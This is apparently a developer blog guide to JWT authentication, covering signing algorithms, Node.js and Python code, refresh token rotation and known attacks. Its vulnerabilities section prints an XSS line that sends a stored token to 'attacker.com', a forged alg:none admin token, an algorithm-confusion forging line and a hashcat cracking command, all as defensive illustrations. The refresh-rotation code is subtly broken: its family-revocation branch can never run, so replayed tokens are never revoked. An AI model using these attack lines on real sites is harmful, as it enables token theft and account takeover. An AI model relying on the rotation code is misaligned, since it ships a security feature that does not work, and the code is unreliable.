JWT Authentication Explained: How It Works, Security Risks, and Best Practices
Complete guide to JWT security, JWT vs session tokens, JWT best practices, signing algorithms, refresh token rotation, and real Node.js/Python implementations.
What is JWT and how does JWT authentication work? A JWT (JSON Web Token) is a compact, self-contained token that lets a server authenticate requests without a database lookup. When a user logs in, the server creates a signed JWT containing the user's identity and sends it back. The client attaches this token to every subsequent request in the Authorization: Bearer <token> header. The server verifies the cryptographic signature — if it's valid, the server trusts the claims inside. No session store, no database round-trip.
This guide covers how JWTs work internally, the real security vulnerabilities (including CVEs), JWT vs session tokens with a decision framework, the refresh token rotation pattern, production best practices, and complete Node.js and Python implementations.
What Is a JWT? Structure and How It Works
A JWT looks like three base64url-encoded strings joined by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNTAwMDAwMH0.abc123signatureThree parts: header.payload.signature
Header
{
"alg": "HS256",
"typ": "JWT"
}Specifies the signing algorithm. This matters a lot for security — more on that below.
Payload
{
"user_id": 123,
"email": "alice@example.com",
"role": "admin",
"exp": 1715000000,
"iat": 1714996400,
"iss": "auth.yourapp.com",
"aud": "api.yourapp.com"
}The actual claims. exp is expiry (Unix timestamp). iat is issued-at. iss is the issuer. aud is the audience. Everything here is readable by anyone — it is base64 encoded, not encrypted. Never put passwords, SSNs, or sensitive PII in the payload.
Signature
HMACSHA256(
base64url(header) + "." + base64url(payload),
secret_key
)This is what makes it tamper-proof. Without the secret key, an attacker cannot forge a valid signature. Changing even one character of the payload invalidates the signature.
The Auth Flow in Practice
1. User logs in (email + password)
2. Server verifies credentials against database
3. Server creates JWT, signs it with secret key, sends it back
4. Client stores token, attaches it to every request:
Authorization: Bearer <token>
5. Server verifies signature on each request — no DB lookup needed
6. If valid: process request. If invalid/expired: return 401.Signing Algorithms: HS256 vs RS256
HS256 (HMAC SHA-256): Uses one symmetric secret key for both signing and verification. Simple to set up. The risk: every service that needs to verify tokens must have the secret, which means the secret can leak from any of those services.
RS256 (RSA SHA-256): Asymmetric. Uses a private key to sign, a public key to verify. Your auth service holds the private key. Every downstream service gets only the public key — they can verify tokens without ever seeing the signing secret. If a downstream service is compromised, the attacker gets only the public key, not the signing capability.
ES256 (ECDSA SHA-256): Similar security properties to RS256 but with shorter key sizes and faster operations. Increasingly preferred for new systems.
Rule of thumb:
- Single service or monolith → HS256 (simplicity wins)
- Microservices or multiple consumers → RS256 or ES256
- Never →
none(see vulnerabilities section)
Implementing JWT in Node.js
// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const SECRET_KEY = process.env.JWT_SECRET; // min 256-bit secret in production
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
// Create access token
function createAccessToken(userId, role) {
return jwt.sign(
{ user_id: userId, role },
SECRET_KEY,
{
algorithm: 'HS256',
expiresIn: ACCESS_TOKEN_EXPIRY,
issuer: 'auth.yourapp.com',
audience: 'api.yourapp.com',
}
);
}
// Verify access token — validates signature, expiry, issuer, audience
function verifyAccessToken(token) {
try {
return jwt.verify(token, SECRET_KEY, {
algorithms: ['HS256'], // explicit allowlist — never omit this
issuer: 'auth.yourapp.com',
audience: 'api.yourapp.com',
});
} catch (err) {
if (err instanceof jwt.TokenExpiredError) {
throw new Error('Token expired');
}
if (err instanceof jwt.JsonWebTokenError) {
throw new Error('Invalid token');
}
throw err;
}
}
// Express middleware
function requireAuth(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Missing authorization header' });
}
const token = authHeader.slice(7);
try {
req.user = verifyAccessToken(token);
next();
} catch (err) {
return res.status(401).json({ error: err.message });
}
}RS256 in Node.js (Microservices)
const fs = require('fs');
const jwt = require('jsonwebtoken');
// Auth service — holds private key
const privateKey = fs.readFileSync('./keys/private.pem');
function createToken(userId) {
return jwt.sign({ user_id: userId }, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'auth.yourapp.com',
});
}
// Downstream service — holds only public key
const publicKey = fs.readFileSync('./keys/public.pem');
function verifyToken(token) {
return jwt.verify(token, publicKey, {
algorithms: ['RS256'], // explicit — never allow HS256 here or alg confusion attack works
issuer: 'auth.yourapp.com',
});
}Implementing JWT in Python
# pip install PyJWT cryptography
import jwt
from datetime import datetime, timezone, timedelta
from typing import Optional
SECRET_KEY = "your-256-bit-secret" # load from env in production
ALGORITHM = "HS256"
def create_access_token(user_id: int, role: str) -> str:
now = datetime.now(timezone.utc)
payload = {
"user_id": user_id,
"role": role,
"exp": now + timedelta(minutes=15),
"iat": now,
"iss": "auth.yourapp.com",
"aud": "api.yourapp.com",
}
return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
def verify_access_token(token: str) -> dict:
try:
return jwt.decode(
token,
SECRET_KEY,
algorithms=[ALGORITHM], # explicit allowlist — critical
issuer="auth.yourapp.com",
audience="api.yourapp.com",
)
except jwt.ExpiredSignatureError:
raise ValueError("Token has expired")
except jwt.InvalidTokenError as e:
raise ValueError(f"Invalid token: {e}")
# FastAPI dependency
from fastapi import Depends, HTTPException, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
security = HTTPBearer()
def get_current_user(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
try:
payload = verify_access_token(credentials.credentials)
return payload
except ValueError as e:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=str(e),
headers={"WWW-Authenticate": "Bearer"},
)JWT Security Vulnerabilities
This is where most tutorials stop short. JWT has several well-documented attack vectors — each with specific CVEs.
1. The alg:none Attack
CVE-2015-9235 (node-jsonwebtoken), CVE-2016-10555 (python-jose)
The JWT spec allows "alg": "none" — a token with no signature. Early libraries accepted it without complaint. An attacker changes the header to "alg": "none", strips the signature, and the server accepts it as valid.
# Attacker crafts:
{"alg": "none", "typ": "JWT"}
.
{"user_id": 1, "role": "admin", "exp": 9999999999}
.
# Empty signaturePrevention:
# Always specify exact algorithms — never None, never empty
jwt.decode(token, key, algorithms=["HS256"]) # good
jwt.decode(token, key, algorithms=["HS256", "RS256"]) # still ok if intentional
jwt.decode(token, key) # BAD — may accept alg:none in older libraries2. Algorithm Confusion (RS256 → HS256 Downgrade)
CVE-2016-5431 (python-jwt)
If your server verifies RS256 tokens but accepts both HS256 and RS256, an attacker can take your public key (which is public) and use it as the HMAC secret to sign a forged HS256 token. The server verifies it with the public key as HMAC secret — and it matches.
# Vulnerable:
jwt.decode(token, public_key, algorithms=["HS256", "RS256"])
# Attacker signs with: jwt.encode(payload, public_key, algorithm="HS256")
# Server verifies HMAC-SHA256(msg, public_key) — and it matches!
# Fixed:
jwt.decode(token, public_key, algorithms=["RS256"]) # RS256 onlyPrevention: Lock the algorithm. If you issue RS256, only accept RS256. Never let the token header dictate which algorithm to use for verification.
3. Weak Secrets and Secret Brute-Forcing
HS256 signed with a weak secret is offline-crackable. If an attacker captures a valid JWT, they can run tools like hashcat or jwt-cracker against it:
hashcat -a 0 -m 16500 <token> wordlist.txtSecurity researchers routinely find production JWTs signed with secrets like secret, password, jwt_secret, or the app name.
Prevention:
- Use a cryptographically random secret:
openssl rand -hex 32 - Minimum 256 bits (32 bytes) for HS256
- Load from environment variables, never hardcode
- Or switch to RS256/ES256 where brute-forcing is not feasible
4. Token Theft via XSS
If access tokens are stored in localStorage, any XSS vulnerability on your domain can exfiltrate them:
// Attacker's script injected via XSS:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));Prevention:
- Store access tokens in memory (JavaScript variable in a closure), not
localStorage - Store refresh tokens in
httpOnly; Secure; SameSite=Strictcookies — JavaScript cannot read these - Implement a Content Security Policy (CSP) to limit XSS blast radius
5. CSRF on Cookie-Stored Tokens
If you store tokens in cookies (even httpOnly), you're exposed to CSRF unless you add protection. A malicious site can trigger authenticated requests to your API using the victim's cookies.
Prevention:
- Use
SameSite=StrictorSameSite=Laxon cookies - Add a CSRF token for state-changing operations
- Or use the double-submit cookie pattern
- For REST APIs: if you read the token from
Authorization: Bearerheader (not auto-sent cookies), CSRF is not possible — browsers don't auto-attach headers cross-origin
6. Missing Claim Validation
A valid signature doesn't mean a token is valid for your service. Without validating iss, aud, and exp, you're vulnerable to token reuse across services or accepting expired tokens.
# Dangerous — only checks signature
jwt.decode(token, key, algorithms=["HS256"])
# Correct — validates everything
jwt.decode(
token,
key,
algorithms=["HS256"],
options={"require": ["exp", "iss", "aud"]},
issuer="auth.yourapp.com",
audience="api.yourapp.com",
)JWT vs Session Tokens
The choice between JWTs and server-side sessions is architectural, not religious. Here's an honest comparison:
| JWT (Stateless) | Session Tokens (Stateful) | |
|---|---|---|
| Server storage | None — token is self-contained | Session store (Redis, DB) |
| Scalability | Horizontal scaling trivial | Requires shared session store |
| Revocation | Hard — need a denylist | Instant — delete from store |
| Token size | 300–2000 bytes (payload grows) | ~20–40 bytes (just an ID) |
| DB lookup per request | None | Optional (session cache) |
| Cross-domain auth | Easy (header, any domain) | Requires CORS config + cookies |
| Microservices | Excellent — verify without calling auth service | Harder — services need session store access |
| Logout invalidation | Requires denylist or short expiry | Immediate |
| Implementation complexity | Medium (rotation, denylist) | Low (built-in framework support) |
When to Use JWT
- Multiple services or microservices sharing auth
- Mobile apps and SPAs where cookie management is awkward
- Third-party API consumers (public APIs)
- Cross-domain authentication (OAuth 2.0, SSO)
- Stateless serverless functions
When to Use Sessions
- Traditional server-rendered web apps (Django, Rails, Laravel)
- Single server or small cluster with easy session sharing
- You need instant revocation without infrastructure overhead
- Compliance requirements that mandate immediate session termination
The trap: Many developers default to JWTs for web apps because they seem modern, then spend weeks building denylist infrastructure to compensate for the loss of stateful revocation. If you're building a monolith web app, sessions are probably simpler.
JWT Refresh Token Pattern
The refresh token pattern solves the tension between security (short-lived tokens) and usability (staying logged in).
How It Works
Login → Server issues:
access_token (15 minutes, stored in memory)
refresh_token (7 days, stored in httpOnly cookie)
Every API call:
Client sends access_token in Authorization header
Server validates — no DB call needed
When access_token expires:
Client sends refresh_token to POST /auth/refresh
Server validates refresh_token against DB
Server issues new access_token (+ optionally new refresh_token)
Client stores new access_token in memory
On logout:
Client deletes access_token from memory
Client calls POST /auth/logout
Server deletes refresh_token from DB → fully invalidatedRefresh Token Rotation
Basic refresh token: the same refresh token works until it expires. If stolen, the attacker has 7 days.
Rotation: Issue a new refresh token on every refresh and invalidate the old one. If an old refresh token is used, it means either the legitimate user or an attacker replayed it — invalidate the entire family.
// Node.js refresh token rotation
const crypto = require('crypto');
async function handleRefresh(oldRefreshToken, db, res) {
// 1. Look up refresh token in DB
const tokenRecord = await db.refreshTokens.findOne({
token: hash(oldRefreshToken),
revoked: false,
});
if (!tokenRecord) {
// Token not found or already used — possible replay attack
// Invalidate all refresh tokens for this user (token family revocation)
if (tokenRecord) {
await db.refreshTokens.updateMany(
{ user_id: tokenRecord.user_id },
{ $set: { revoked: true } }
);
}
throw new Error('Invalid refresh token — session terminated');
}
if (new Date() > tokenRecord.expires_at) {
throw new Error('Refresh token expired');
}
// 2. Revoke old refresh token
await db.refreshTokens.updateOne(
{ _id: tokenRecord._id },
{ $set: { revoked: true } }
);
// 3. Issue new tokens
const newAccessToken = createAccessToken(tokenRecord.user_id, tokenRecord.role);
const newRefreshToken = crypto.randomBytes(32).toString('hex');
// 4. Store new refresh token
await db.refreshTokens.insertOne({
token: hash(newRefreshToken),
user_id: tokenRecord.user_id,
role: tokenRecord.role,
expires_at: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
revoked: false,
created_at: new Date(),
});
// 5. Set refresh token in httpOnly cookie
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
return { access_token: newAccessToken };
}
function hash(token) {
return crypto.createHash('sha256').update(token).digest('hex');
}Why hash the refresh token in the DB? If your database is compromised, hashed tokens cannot be used directly — the attacker needs the raw value from the cookie.
JWT Best Practices in Production
1. Key Rotation
HS256 secrets and RS256 private keys should be rotated periodically. The challenge: tokens signed with the old key are still in circulation.
Strategy:
- Assign a
kid(key ID) to each key:{"alg": "RS256", "typ": "JWT", "kid": "key-2026-01"} - Publish multiple public keys at
/.well-known/jwks.json(JWKS endpoint) - Verifiers look up the key by
kid - Rotate: add new key, keep old key active for one access token TTL (15 min), then remove old key
// Fetching JWKS and caching keys
const jwksClient = require('jwks-rsa');
const client = jwksClient({
jwksUri: 'https://auth.yourapp.com/.well-known/jwks.json',
cache: true,
cacheMaxAge: 600000, // 10 minutes
});
function getKey(header, callback) {
client.getSigningKey(header.kid, (err, key) => {
callback(err, key?.getPublicKey());
});
}
jwt.verify(token, getKey, { algorithms: ['RS256'] }, callback);2. Token Revocation with a Denylist
For access tokens that must be revocable before expiry (e.g., on password change, account compromise):
import redis
from datetime import datetime, timezone
r = redis.Redis(host='localhost', port=6379, db=0)
def revoke_token(jti: str, exp: int):
"""Add token JTI to Redis denylist until expiry."""
ttl = exp - int(datetime.now(timezone.utc).timestamp())
if ttl > 0:
r.setex(f"revoked:{jti}", ttl, "1")
def is_revoked(jti: str) -> bool:
return r.exists(f"revoked:{jti}") == 1
# In verify middleware:
def verify_token(token: str) -> dict:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
jti = payload.get("jti")
if not jti:
raise ValueError("Token missing jti claim")
if is_revoked(jti):
raise ValueError("Token has been revoked")
return payload
# When issuing tokens, always include jti:
import uuid
payload["jti"] = str(uuid.uuid4())The denylist TTL matches the token expiry, so the Redis entry auto-deletes when the token would have expired anyway. Memory overhead is proportional to the number of active revoked tokens, not all tokens ever issued.
3. Always Validate iss and aud
Without these checks, a token issued by a different service for a different audience is accepted.
// Service A and Service B both use the same auth server
// Without aud validation, a token for Service A works on Service B
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.yourapp.com',
audience: 'https://api.yourapp.com', // this service's identifier
});4. Minimum Viable JWT Payload
Put only what downstream services need in the token. Less data = smaller tokens = faster transport = less sensitive data exposed.
{
"sub": "user_123",
"role": "admin",
"exp": 1715001200,
"iat": 1715000000,
"jti": "a4f3d2e1-...",
"iss": "auth.yourapp.com",
"aud": "api.yourapp.com"
}No email, no name, no preferences — fetch those from the user service if needed.
5. Token Expiry Guidelines
| Token type | Recommended TTL | Rationale |
|---|---|---|
| Access token | 5–15 minutes | Short window limits damage from theft |
| Refresh token | 7–30 days | Balance UX vs risk |
| One-time tokens (password reset) | 10–30 minutes | Single use, short-lived |
| API keys (machine-to-machine) | No expiry OR annual rotation | Managed externally, revoked explicitly |
FAQ
What is a JWT token and how does it work?
A JWT (JSON Web Token) is a signed token containing encoded JSON data. It has three parts: a header (algorithm info), a payload (user claims like user ID and role), and a signature. When a user logs in, the server creates a JWT, signs it with a secret key, and returns it to the client. The client sends this token with every request. The server verifies the signature — if valid, it trusts the claims without hitting a database.
What is the difference between JWT and session cookies?
Session cookies store only a session ID. The server looks up that ID in a session store (Redis/database) to find the user's data on every request. JWTs are self-contained: the user data is encoded inside the token, so the server verifies the signature and reads the data without any storage lookup. Sessions enable instant revocation (delete the session). JWTs are harder to revoke without a denylist because they're valid until expiry.
Are JWTs secure? What are the risks?
JWTs are secure when implemented correctly, but have real attack vectors: the alg:none attack (CVE-2015-9235), algorithm confusion attacks (CVE-2016-5431), token theft via XSS if stored in localStorage, weak HMAC secrets that can be brute-forced offline, and missing claim validation (iss, aud, exp). The payload is base64-encoded, not encrypted — anyone with the token can read it. Mitigation: use RS256 or strong HS256 secrets, store tokens properly (memory/httpOnly cookies), validate all claims, and keep access tokens short-lived.
How do I invalidate a JWT token?
JWTs are stateless, so invalidation requires extra infrastructure. Options: (1) Short expiry — 15-minute access tokens limit the damage window. (2) Redis denylist — store the token's jti in Redis with a TTL matching token expiry; check on every request. (3) Refresh token rotation — use stateful refresh tokens; invalidating the refresh token prevents new access tokens from being issued. (4) Version field — store a token_version on the user record; increment it on password change; reject tokens with old versions.
What should I store in a JWT payload?
Store only what downstream services need to process a request without additional DB calls: user ID (sub), roles/permissions, token metadata (exp, iat, jti, iss, aud). Do not store passwords, PII (SSNs, phone numbers), sensitive business data, or large objects. The payload is readable by anyone with the token and adds to request size on every call. If a downstream service needs additional user data, it should fetch it from the user service using the sub claim.
What is the difference between access tokens and refresh tokens?
Access tokens are short-lived (5–15 minutes), sent with every API request in the Authorization header, and ideally stored in memory. They're designed to expire quickly so a stolen token has a small damage window. Refresh tokens are long-lived (7–30 days), used only to obtain a new access token, and stored in an httpOnly cookie. The critical security property: if an access token is stolen, the attacker has 15 minutes. If a refresh token is stolen, you need to detect and revoke it (via rotation or a denylist).
Should I use HS256 or RS256 for JWT signing?
Use HS256 for single-service applications where one service both signs and verifies tokens — it's simpler and faster. Use RS256 (or ES256) for microservices or any scenario where multiple services need to verify tokens independently. With RS256, only the auth service holds the private key; other services verify with the public key. If the inventory service is compromised, attackers get the public key — not the signing key. For OAuth 2.0 and public APIs, RS256 is the standard.
Key Takeaways
- JWTs are self-contained — no DB lookup needed per request, which is why they scale well across services
- Use HS256 for single-server; RS256/ES256 for microservices
- Always specify the exact algorithm allowlist when verifying — never let the token header choose
- Short-lived access tokens (15 min) + long-lived refresh tokens (7 days) with rotation is the production pattern
- Store access tokens in memory, refresh tokens in
httpOnly; Secure; SameSite=Strictcookies - Never put sensitive data in the payload — it is not encrypted
- Validate
iss,aud, andexpon every token — a valid signature alone is not enough - For instant revocation: maintain a Redis denylist keyed on
jti - Rotate keys with
kid+ JWKS endpoint so you can change signing keys without downtime
JWTs solve a real problem, but they shift complexity to the client and to your revocation strategy. Understand the tradeoffs before committing. For traditional web apps, server-side sessions are often the simpler choice.
Related reading: REST API Design Best Practices · Rate Limiting Your API
Enjoyed this article?
Get weekly insights on backend architecture, system design, and Go programming.
Related Posts
Continue reading with these related posts
Rate Limiting: How It Works and How to Protect Your API
Rate limiting controls how many API requests a client can make in a time window. Learn the algorithms, Redis implementation, distributed patterns, and HTTP headers — with complete production code.
DNS (Domain Name System) Explained: How It Works, Record Types, Security, and Cloud
Complete guide to how DNS works: resolution process, record types, TTL, DNSSEC, DNS over HTTPS, Route 53, Cloudflare, troubleshooting with dig, and common DNS mistakes engineers make.
GraphQL vs REST: Which API Style Should You Use?
GraphQL lets clients request exactly the data they need from a single endpoint, while REST exposes fixed resources over multiple URLs with standard HTTP verbs. Learn when each wins — with real N+1 examples, schema design, performance tradeoffs, tooling, and a decision matrix.